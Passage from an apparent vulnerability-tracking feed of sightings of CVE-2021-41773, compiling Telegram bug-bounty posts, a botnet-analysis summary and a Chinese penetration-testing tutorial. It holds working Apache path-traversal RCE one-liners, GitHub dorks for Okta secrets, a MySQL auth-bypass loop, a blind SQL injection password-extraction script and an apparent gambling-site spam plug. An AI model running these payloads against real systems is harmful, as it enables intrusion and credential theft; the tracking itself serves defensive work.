\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438. \n\n9\ufe0f\u20e3 \u0412 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 Slack \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \ud83e\uddb9\u200d\u2642\ufe0f\u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c \ud83e\udd37\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0437\u0430 \u0435\u0451 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438.", "creation_timestamp": "2026-08-04T00:00:11.783616Z"}, {"uuid": "902a9914-2b2e-422d-a524-bf6529b64a52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/bhhub/589", "content": "#BugBountyTips of the Day\nHere is a new write-up on my blog about a recent P1 found on an external program :)   https://t.co/vfKIKs8JjT  Thanks @infosec_au for the help\ud83e\udd1d  #BugBounty #SharingIsCaring\n---\nUpdate : CVE-2021-41773 POC as RCE \ud83d\udd25\ud83d\udc47\ud83d\udca5  \u2705One Liner: cat file | while read host do ; do curl --silent --path-as-is --data \"echo;id\" '$host/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' | grep \"uid\" && echo \"$host \\033[0;31mVuln\\n\"|| echo \"$host \\033[0;32mNot\\n\";done  #infosec #bugbounty", "creation_timestamp": "2021-10-07T13:37:04.000000Z"}, {"uuid": "2bed552a-1a3d-4665-9fc7-95e28792ac80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/bhhub/588", "content": "#BugBountyTips of the Day\nAccount Takeover through Password Reset :  1. Capture the request of forgot password   victim@gmail.com   and tamper mail id and change to attacker@gmail.com   Finally will get victim reset link  to attacker mail   #bugbounty #wapt #cybersecurity\n---\nPath traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49  All-in-One reproduction for CVE-2021-41773  https://t.co/xeC7X4xeX1  #Vulhub #infosec #security #bugbountytip  https://t.co/DhD8BFin4o\n---\nScanning for CVE-2021-41773 (Apache 2.4.49 - Path Traversal) using template shared by @daffainfo   Template -  https://t.co/CX1j1ku5Ot  #hackwithautomation #pentest #bugbounty  https://t.co/DPSeLu3kA6\n---\nA lot of companies are using OKTA for authentication these days. Use these GitHub dorks to find some secrets:)  OKTA_CLIENT_ORGURL= OKTA_CLIENT_TOKEN= OKTA_OAUTH2_CLIENTSECRET= OKTA_OAUTH2_CLIENTID= OKTA_AUTHN_GROUPID=  #bugbountytips\n---\nmany have questioned. this poc.. hi I've made the nuclei-templates ahead of time you can check them out here @pdnuclei  https://t.co/vtJOxs2UCq  #nuclei #automation #bugbounty\n---\nJust got worked exploit PoC for path traversal in Apache HTTP Server 2.4.49 (CVE-2021-41773) with my collab again @yabeow #bugbountytips \ud83d\udc40  https://t.co/oGHtbWwKHT\n---\n5k reputations swag from @Hacker0x01   #bugbounty  https://t.co/JkVYmaF7V8", "creation_timestamp": "2021-10-06T13:37:05.000000Z"}, {"uuid": "c895a6c0-b8dd-4ebb-9375-dc9d4388adce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/bhhub/590", "content": "#BugBountyTips of the Day\nCVE-2021-42013 - Apache 2.4.49/2.4.50 - Path Traversal by nvn1729  \"It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient\" -  https://t.co/AK4CQpDGA4  Nuclei Template -  https://t.co/SOY8iTU8Bk  #hackwithautomation #bugbounty #appsec #pentest  https://t.co/dH7StiF3Sd\n---\nWait What? \ud83d\udd25 Apache CVE 2021-41773  One Liner Windows Box: \u2705  curl -sk \u2014path-as-is \" http://host/cgi-bin/.%2e/.%2e/.%2e/.%2e/Windows/System32/cmd.exe?/c+calc.exe\"  #infosec #bugbounty #Apache #cve\n---\n\ud83d\udd25\ud83e\udd11\ud83e\udd11 Neat bug bounty I just got. You can hack Google and use their API to make their search engine search for things:  curl  https://t.co/DQV3mlvADS{QUERY HERE}  Nice little \u00a320,160 bounty! Thank you \ud83d\ude3b\ud83d\ude3b  All public APIs are vulns \u26a1\u26a1\u26a1  Follow for more #bugbounty tips!  https://t.co/GBiv7j8nhK\n---\nSo I reported a RCE to a domain owned by IBM (@Hacker0x01 program) . It was Triaged and now closed as informative because the servers are owned by Amazon.  Scope rules say 'domains owned by IBM'  Imagine all companies use this excuse. \ud83d\ude02 \ud83d\ude02  #bugbountytips #BugBounty\n---\nAlways test JSON body parameters. In my case I bypassed email verification.  #bugbountytips  https://t.co/pDzPfkJOl7\n---\nExpand your attack surface by grabbing SSL certificates from ip addresses, match these with your Bug Bounty targets.  I'd recommend running this technique on cloud providers such as AWS/Azure/GCP ranges  using  https://t.co/uvvFVrKTXC  cero [CIDR] (cero 0.0.0.0/0)  #bugbountytips", "creation_timestamp": "2021-10-08T13:37:04.000000Z"}, {"uuid": "7d395570-60bc-417d-b090-4598dcd9492d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/GithubRedTeam/85053", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2021-41773-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a wvverez\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-20 15:52:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC (Proof of concept) of Path traversal + RCE in Apache HTTP Server 2.4.49\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-20T16:01:51.000000Z"}, {"uuid": "e3288d51-89b6-4bd3-ae74-efa191e70ecc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/Ut-FjakO3aXzYeDJVS314i2vHRpchsUAjvXH-nUbNwT5URU", "content": "", "creation_timestamp": "2026-05-20T21:00:04.000000Z"}, {"uuid": "9614eae7-061c-40f0-be96-90fd272d10ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/toolslounge/85", "content": "apache srever exploit \nCVE-2021-41773\nhttps://github.com/rapid7/metasploit-framework/pull/15754", "creation_timestamp": "2021-10-08T06:45:33.000000Z"}, {"uuid": "bdafc7d3-4591-46fc-bf0e-fd1bfccdf74d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/poxek/6168", "content": "\u041a\u0430\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u043e\u0442\u043d\u0435\u0442-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 \u0431\u044d\u043a\u0435\u043d\u0434-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 fingerprints\n#botnet #apache #CVE #TI #honeypots\n\n\u041d\u0430\u0448\u0435\u043b \u0433\u0430\u0439\u0434 \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0431\u043e\u0442\u043d\u0435\u0442-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0430\u0440\u044b\u0439 Apache-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442. \u0410\u0432\u0442\u043e\u0440 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u043a\u0430\u043a \u043f\u043e \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0431\u044d\u043a\u0435\u043d\u0434-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0438 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b\u043c TLS/HTTP/SSH-\u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043a\u0430\u043c \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0438\u0437 \u0440\u0430\u0437\u0440\u043e\u0437\u043d\u0435\u043d\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u0446\u0435\u043b\u044c\u043d\u0443\u044e \u043a\u0430\u0440\u0442\u0438\u043d\u0443 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439. \u0413\u043b\u0430\u0432\u043d\u0430\u044f \u043c\u044b\u0441\u043b\u044c \u2014 \u0434\u043b\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432 \u0432\u0430\u0436\u043d\u043e \u0443\u0445\u043e\u0434\u0438\u0442\u044c \u043e\u0442 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u043a \u043c\u0435\u043d\u0435\u0435 \u0438\u0437\u043c\u0435\u043d\u0447\u0438\u0432\u044b\u043c \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u043c.\n\n\u267e\ufe0f\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438\u267e\ufe0f\n\n\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043e\u0431\u044a\u0435\u043a\u0442 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u2014 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0440\u043e\u043f\u043f\u0435\u0440\u044b \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u044d\u0442\u0430\u043f, \u0438 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043a\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 (JA4, JA4H, HASSH). \u0421\u0435\u043d\u0441\u043e\u0440\u044b \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442 \u0444\u0430\u043a\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f, HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b TLS-\u0440\u0443\u043a\u043e\u043f\u043e\u0436\u0430\u0442\u0438\u044f, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c staging-URL \u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u043e\u0432 \u0434\u0430\u0436\u0435 \u043f\u0440\u0438 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 base64 \u0438 shell_exec \u0432 PHP-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u0445.\n\n\u041d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u044d\u0442\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0433\u0440\u0430\u0444:\n\n\u25aa\ufe0f\u0443\u0437\u043b\u044b \u2014 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 IP \u0438 staging-\u0445\u043e\u0441\u0442\u044b,\n\u25aa\ufe0f\u0440\u0435\u0431\u0440\u0430 \u2014 \u0444\u0430\u043a\u0442\u044b \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u043e\u0432;\n\u25aa\ufe0f\u0441\u0432\u044f\u0437\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0441\u0442\u0440\u043e\u044f\u0442\u0441\u044f \u043f\u043e \u043e\u0431\u0449\u0438\u043c delivering-IP, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0434\u0435\u043b\u044f\u0442\u044c \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b\u0435 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u044b \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\n\n\u267e\ufe0f\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u267e\ufe0f\n\n\u25aa\ufe0f\u0410\u0432\u0442\u043e\u0440 \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442 \u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438\u0437 1 001 IP \u0432 \u0441\u043e\u0442\u043d\u044f\u0445 \u0441\u0435\u0442\u0435\u0439 \u0438 \u0434\u0435\u0441\u044f\u0442\u043a\u0430\u0445 \u0441\u0442\u0440\u0430\u043d, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0432\u043e\u0441\u0435\u043c\u044c\u044e staging-\u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 \u0438 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0432 \u043e\u0434\u043d\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u25aa\ufe0f\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u043d\u0430 CVE-2021-41773 \u0438 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 %%32%65, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 /cgi-bin/.../bin/sh \u043f\u043e 80/443.\n\n\u25aa\ufe0f\u0421\u0430\u043c\u043e\u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0439\u0441\u044f \u0448\u0435\u043b\u043b apache.selfrep \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0445\u043e\u0441\u0442\u044b \u0432 \u043d\u043e\u0432\u044b\u0435 scanning- \u0438 delivery-\u0443\u0437\u043b\u044b.\n\n\u25aa\ufe0f\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 JA4/JA4H \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0435 \u0440\u0435\u0434\u043a\u0438\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043a\u0438 \u0443 \u0441\u043e\u0442\u0435\u043d IP, \u0447\u0442\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u043e\u0431\u0449\u0438\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0438\u043b\u0438 \u0441\u0445\u043e\u0436\u0443\u044e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0441\u043a\u0430\u043d\u0435\u0440\u0430.\n\n\ud83d\udd17\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438\n\n\ud83c\udf1a @poxek | \ud83d\udcf2 MAX |\ud83c\udf1a \u0411\u043b\u043e\u0433 | \ud83d\udcfa YT | \ud83d\udcfa RT | \ud83d\udcfa VK", "creation_timestamp": "2026-05-31T09:03:34.000000Z"}, {"uuid": "243c24d9-2bc7-488f-bfde-7e6e41208c67", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/97c85e27-5a91-4a60-9a66-9707e2ddb39d", "content": "", "creation_timestamp": "2026-06-19T12:47:54.687397Z"}, {"uuid": "c0af862d-8a14-4060-bde0-d953e09e456e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/TVtxpSB4iwrvIXXlutpCUssAWfUx6ePGQSvGhJ6GLoy4r6Mi", "content": "", "creation_timestamp": "2021-10-06T08:31:03.000000Z"}, {"uuid": "a25103cc-88ce-43e9-ac72-d84eee261225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://gist.github.com/bluetrollplei/75a1dd5bcdba2fc3ded4e332998e8d17", "content": "# \u6e17\u900f\u6d4b\u8bd5\u5b66\u4e60\u8def\u7ebf\uff1a\u4ece\u7f51\u7edc\u63a2\u6d4b\u5230\u5185\u7f51\u6a2a\u5411\n\n**\u73af\u5883\u524d\u63d0**\uff1a\u672c\u6587\u57fa\u4e8e Kali Linux 2023.4 \u548c Python 3.11 \u73af\u5883\u7f16\u5199\uff0c\u6240\u6709\u5de5\u5177\u5747\u6765\u81ea\u5b98\u65b9\u4ed3\u5e93\u6216\u53ef\u4fe1\u6e90\u3002\u5efa\u8bae\u8bfb\u8005\u5728\u5c01\u95ed\u9776\u573a\uff08\u5982 VulnHub \u6216 HackTheBox\uff09\u4e2d\u5b9e\u8df5\uff0c\u5207\u52ff\u5728\u672a\u7ecf\u6388\u6743\u7684\u4e3b\u673a\u4e0a\u64cd\u4f5c\u3002\n\n---\n\n### 1. \u7b2c\u4e00\u9636\u6bb5\uff1a\u4fe1\u606f\u6536\u96c6\u4e0e\u7aef\u53e3\u626b\u63cf\n\n\u6e17\u900f\u6d4b\u8bd5\u7684\u7b2c\u4e00\u6b65\u662f\u6478\u6e05\u76ee\u6807\u7f51\u7edc\u62d3\u6251\u4e0e\u5f00\u653e\u670d\u52a1\u3002\u63a8\u8350\u6309\u4ee5\u4e0b\u987a\u5e8f\u9010\u6b65\u63a8\u8fdb\uff1a\n\n- \u4f7f\u7528 `nmap` \u8fdb\u884c\u5b58\u6d3b\u4e3b\u673a\u53d1\u73b0\uff1a`nmap -sn 192.168.1.0/24`\n- \u5bf9\u5b58\u6d3b\u4e3b\u673a\u6267\u884c\u7aef\u53e3\u626b\u63cf\uff1a`nmap -sS -sV -O `\n- \u5c06\u7ed3\u679c\u8f93\u51fa\u4e3a XML\uff0c\u518d\u7528 `xsltproc` \u8f6c\u4e3a\u62a5\u544a\n\n> **\u63d0\u793a**\uff1a\u9ad8\u5e76\u53d1\u626b\u63cf\u5bb9\u6613\u89e6\u53d1 IDS/IPS\uff0c\u751f\u4ea7\u73af\u5883\u4e2d\u8bf7\u4f7f\u7528 `-T2` \u964d\u901f\uff0c\u6216\u501f\u52a9\u4ee3\u7406\u94fe\u9690\u85cf\u771f\u5b9e IP\u3002\n\n\u626b\u63cf\u7ed3\u679c\u4e2d\u5e38\u89c1\u7684\u662f SSH\u3001HTTP\u3001MySQL \u7b49\u670d\u52a1\u3002\u6bcf\u4e2a\u7aef\u53e3\u90fd\u53ef\u80fd\u662f\u4e00\u4e2a\u7a81\u7834\u53e3\uff0c\u4f46\u4e0d\u8981\u6025\u4e8e\u66b4\u529b\u7834\u89e3\u2014\u2014\u5148\u5c1d\u8bd5\u670d\u52a1\u9ed8\u8ba4\u51ed\u8bc1\u4e0e\u5e38\u89c1\u6f0f\u6d1e\u3002\n\n---\n\n### 2. \u7b2c\u4e8c\u9636\u6bb5\uff1a\u6838\u5fc3\u6982\u5ff5\u2014\u2014\u6f0f\u6d1e\u5206\u7c7b\u4e0e\u5229\u7528\u94fe\n\n\u7406\u89e3\u6f0f\u6d1e\u7684\u6839\u6e90\u6bd4\u8bb0\u4f4f\u5de5\u5177\u53c2\u6570\u66f4\u91cd\u8981\u3002\u5173\u952e\u6982\u5ff5\u5305\u62ec\uff1a\n\n- **\u6ce8\u5165\u7c7b**\uff08SQLi\u3001\u547d\u4ee4\u6ce8\u5165\uff09\uff1a\u901a\u5e38\u7531\u672a\u8fc7\u6ee4\u7528\u6237\u8f93\u5165\u5bfc\u81f4\n- **\u914d\u7f6e\u7f3a\u9677**\uff08\u5f31\u53e3\u4ee4\u3001\u9ed8\u8ba4\u8def\u5f84\uff09\uff1a\u5229\u7528\u6807\u51c6\u5b57\u5178\u5373\u53ef\u7a81\u7834\n- **\u6743\u9650\u63d0\u5347**\uff08\u5185\u6838\u6f0f\u6d1e\u3001SUID \u6587\u4ef6\uff09\uff1a\u9700\u8981\u672c\u5730\u4f4e\u6743\u9650\u540e\u6267\u884c\n\n\u4ee5\u4e0b\u662f\u4e00\u4e2a\u6e17\u900f\u6d4b\u8bd5\u4e2d\u7684\u5178\u578b\u914d\u7f6e\u6587\u4ef6\u793a\u4f8b\uff0c\u7528\u4e8e\u81ea\u52a8\u626b\u63cf\u540e\u63d0\u53d6\u670d\u52a1\u6307\u7eb9\u5e76\u751f\u6210\u5f85\u5229\u7528\u5217\u8868\uff1a\n\n```python\n# config_loader.py \u2014 \u670d\u52a1\u6307\u7eb9\u914d\u7f6e\u6a21\u677f\nservices = {\n    \"Apache 2.4.49\": {\n        \"cve\": \"CVE-2021-41773\",\n        \"type\": \"path_traversal\",\n        \"exploit_path\": \"/cgi-bin/.%2e/%2e%2e/usr/bin/id\"\n    },\n    \"OpenSSH 7.2p2\": {\n        \"cve\": \"CVE-2016-6210\",\n        \"type\": \"user_enumeration\",\n        \"payload\": \"ssh -o PreferredAuthentications=none \"\n    },\n    \"MySQL 5.5.x\": {\n        \"cve\": \"CVE-2012-2122\",\n        \"type\": \"auth_bypass\",\n        \"payload\": \"for i in {1..1000}; do mysql -u root -h  --password=bad; done\"\n    }\n}\n\ndef load_config():\n    # \u8bfb\u53d6\u5916\u90e8\u914d\u7f6e\u6587\u4ef6\u6216\u76f4\u63a5\u4f7f\u7528\u786c\u7f16\u7801\u5b57\u5178\n    return services\n```\n\n\u6b64\u914d\u7f6e\u53ef\u5728\u81ea\u52a8\u5316\u811a\u672c\u4e2d\u5feb\u901f\u5339\u914d\u626b\u63cf\u7ed3\u679c\uff0c\u4ece\u800c\u7f29\u77ed\u4eba\u5de5\u67e5 CVE \u7684\u65f6\u95f4\u3002\n\n---\n\n### 3. \u7b2c\u4e09\u9636\u6bb5\uff1a\u5b9e\u6218\u2014\u2014\u5229\u7528 SQL \u6ce8\u5165\u83b7\u53d6\u6570\u636e\n\n\u638c\u63e1\u4e86\u626b\u63cf\u4e0e\u914d\u7f6e\u540e\uff0c\u6211\u4eec\u8fdb\u5165\u6700\u5173\u952e\u7684\u5229\u7528\u73af\u8282\u3002\u4ee5\u5e03\u5c14\u578b SQL \u6ce8\u5165\u4e3a\u4f8b\uff0c\u9700\u8981\u6784\u9020 payload \u5e76\u9010\u5b57\u7b26\u731c\u6d4b\u6570\u636e\u5e93\u5185\u5bb9\u3002\u5229\u7528\u94fe\u5982\u4e0b\uff1a\n\n1. \u68c0\u6d4b\u6ce8\u5165\u70b9\uff1a`' OR 1=1--`\n2. \u786e\u5b9a\u5b57\u6bb5\u6570\uff1a`' ORDER BY 3--`\n3. \u679a\u4e3e\u6570\u636e\u5e93\u540d\uff1a`' UNION SELECT database(),2,3--`\n\n\u4ee5\u4e0b\u662f\u4e00\u6bb5 Bash \u811a\u672c\uff0c\u5b9a\u4e49\u5e76\u5c01\u88c5\u6ce8\u5165\u8fc7\u7a0b\u4e2d\u9700\u8981\u4f20\u9012\u7684\u6570\u636e\u7ed3\u6784\uff08\u5373\u8bf7\u6c42\u6a21\u677f\u4e0e\u54cd\u5e94\u5224\u65ad\u903b\u8f91\uff09\uff1a\n\n```bash\n#!/bin/bash\n# sql_enum.sh \u2014 \u7b80\u6613\u5e03\u5c14\u76f2\u6ce8\u8bf7\u6c42\u6a21\u677f\nTARGET=\"http://example.com/vuln.php\"\nPARAM=\"id=1' AND SUBSTR((SELECT password FROM users LIMIT 0,1),$POS,1)='$CHAR'-- \"\n\n# \u5b9a\u4e49\u54cd\u5e94\u7801\u68c0\u67e5\u51fd\u6570\ncheck_response() {\n    local response=$(curl -s -o /dev/null -w \"%{http_code}\" \"$TARGET?$PARAM\")\n    if [[ \"$response\" == \"200\" ]]; then\n        return 0  # \u5b57\u7b26\u5339\u914d\n    else\n        return 1\n    fi\n}\n\n# \u9010\u5b57\u7b26\u904d\u5386\u5bc6\u7801\nPASSWORD=\"\"\nfor POS in {1..32}; do\n    for CHAR in {a..z} {0..9}; do\n        if check_response \"$POS\" \"$CHAR\"; then\n            PASSWORD+=\"$CHAR\"\n            break\n        fi\n    done\ndone\necho \"Found password: $PASSWORD\"\n```\n\n\u8be5\u811a\u672c\u904d\u5386 32 \u4f4d\u5bc6\u7801\uff0c\u6bcf\u6b21\u8bf7\u6c42\u4ec5\u6539\u53d8\u4e00\u4e2a\u5b57\u7b26\uff0c\u76f4\u5230\u627e\u5230\u5339\u914d\u3002\u5b9e\u9645\u6e17\u900f\u4e2d\u53ef\u7ed3\u5408\u591a\u7ebf\u7a0b\u52a0\u901f\uff0c\u540c\u65f6\u914d\u5408 `--data` \u53c2\u6570\u5904\u7406 POST \u8bf7\u6c42\u3002\n\n---\n\n\u5173\u4e8e\u81ea\u52a8\u5316\u6f0f\u6d1e\u5229\u7528\u6846\u67b6\u7684\u66f4\u591a\u5b9e\u73b0\u7ec6\u8282\uff0c\u53ef\u53c2\u8003 \u987a\u53d1\u5a31\u4e50 \u7684\u6280\u672f\u4e13\u680f\uff0c\u5176\u4e2d\u6574\u7406\u4e86\u4e0d\u540c\u573a\u666f\u4e0b\u7684\u8f7d\u8377\u6784\u9020\u65b9\u6cd5\u3002\n\n\u5b8c\u6210\u4ee5\u4e0a\u4e09\u4e2a\u9636\u6bb5\u7684\u8bad\u7ec3\u540e\uff0c\u4f60\u5e94\u5f53\u80fd\u591f\u72ec\u7acb\u5b8c\u6210\u4ece\u7f51\u7edc\u63a2\u6d4b\u5230 Web 